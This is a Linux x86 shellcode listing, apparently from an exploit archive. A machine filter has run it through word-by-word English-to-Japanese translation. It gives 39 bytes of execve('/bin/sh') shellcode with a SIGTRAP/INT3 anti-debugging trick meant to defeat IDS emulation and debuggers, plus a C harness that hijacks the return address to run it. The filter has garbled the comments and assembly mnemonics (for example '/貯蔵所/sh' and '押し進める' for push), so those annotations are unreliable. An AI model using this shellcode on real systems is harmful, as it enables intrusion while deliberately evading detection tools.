このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/* * (linux/x86) anti-debug trick (INT 3h 罠(にかける)) + execve("/貯蔵所/sh", ["/貯蔵所/sh", NULL], NULL) - 39 bytes * * The idea behind a shellcode w/ an anti-debugging trick embedded in it, is if for any 推論する/理由 the IDS * would try to x86-emulate the shellcode it would *glitch* and fail. This also 保護するs the shellcode * from running within a debugger 環境 such as gdb and strace. * * How this 作品? the shellcode 登録(する)s for the SIGTRAP signal (aka. Breakpoint Interrupt) and use it * to call the acutal payload (e.g. _evil_code) while a greedy debugger or a 混乱させるd x86-emu won't pass * the signal handler to the shellcode, it would 結局最後にはーなる doing _exit() instead execuve() * * - izik <izik@tty64.org> */ char shellcode[] = "\x6a\x30" // 押し進める $0x30 "\x58" // pop %eax "\x6a\x05" // 押し進める $0x5 "\x5b" // pop %ebx "\xeb\x05" // jmp <_evil_code> // // <_evilcode_loc>: // "\x59" // pop %ecx "\xcd\x80" // int $0x80 "\xcc" // int3 "\x40" // inc %eax "\xe8\xf6\xff\xff\xff" // call <_evilcode_loc> "\x99" // cltd // // <_evil_code>: // "\xb0\x0b" // mov $0xb,%al "\x52" // 押し進める %edx "\x68\x2f\x2f\x73\x68" // 押し進める $0x68732f2f "\x68\x2f\x62\x69\x6e" // 押し進める $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x52" // 押し進める %edx "\x53" // 押し進める %ebx "\x54" // 押し進める %esp "\xeb\xe1"; // jmp <_evilcode_loc> int main(int argc, char **argv) { int *ret; ret = (int *)&ret + 2; (*ret) = (int) shellcode; }